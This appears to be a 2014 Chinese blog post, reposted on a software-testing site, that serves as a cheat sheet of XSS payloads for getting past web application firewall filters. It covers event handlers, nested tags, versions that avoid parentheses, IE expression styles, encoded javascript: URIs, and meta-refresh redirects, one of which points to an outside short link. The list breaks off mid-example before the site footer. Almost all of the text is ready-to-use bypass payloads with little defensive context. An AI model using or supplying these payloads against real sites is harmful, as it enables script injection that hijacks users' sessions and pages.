XSS现代WAF规则探测及绕过技术

发表于:2014-7-02 11:30

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:seiitsu    来源:51Testing软件测试网博客

  事件处理
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<bodyonload=prompt(1);>
<selectautofocusonfocus=alert(1)>
<textareaautofocusonfocus=alert(1)>
<keygenautofocusonfocus=alert(1)>
<video><sourceonerror="javascript:alert(1)">
短payload
<q/oncut=open()>
<q/oncut=alert(1)>//Usefulin-caseofpayloadrestrictions.
  嵌套欺骗
  <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
  <body  language=vbsonload=alert-1 // Works with IE8
  <command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6    9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>      // Works with IE8
  圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw&#039;=alert\x281\x29&#039;;
Expression 属性
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(&#039;&#039;x:expression(alert(1))"></div>      // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style>      // Works upto IE7
“location”属性
<a onmouseover=location=’javascript:alert(1)>click
<body onfocus="location=&#039;javascrpt:alert(1) >123
  其他Payload
<meta http-equiv="refresh"      content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh"      content="0;javascript&colon;alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g      onload="javascript:\u0061lert(1);"></g></svg> //      By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href"      values=";javascript:alert(1)" begin="0s"      dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg>      // By @secalert
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
();:被过滤
<svg><script>alert&#40/1/&#41</script>      // Works With All Browsers
( is html encoded to &#40
) is html encoded to &#41
  Opera的变量
  <svg><script>alert&#40      1&#41 // Works with Opera Only
  实体解码
  &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
  <a  href="j&#x26;#x26#x41;vascript:alert%252831337%2529">Hello</a>
  编码
  JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
  基于上下文的过滤
  WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式
42/4<1234>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号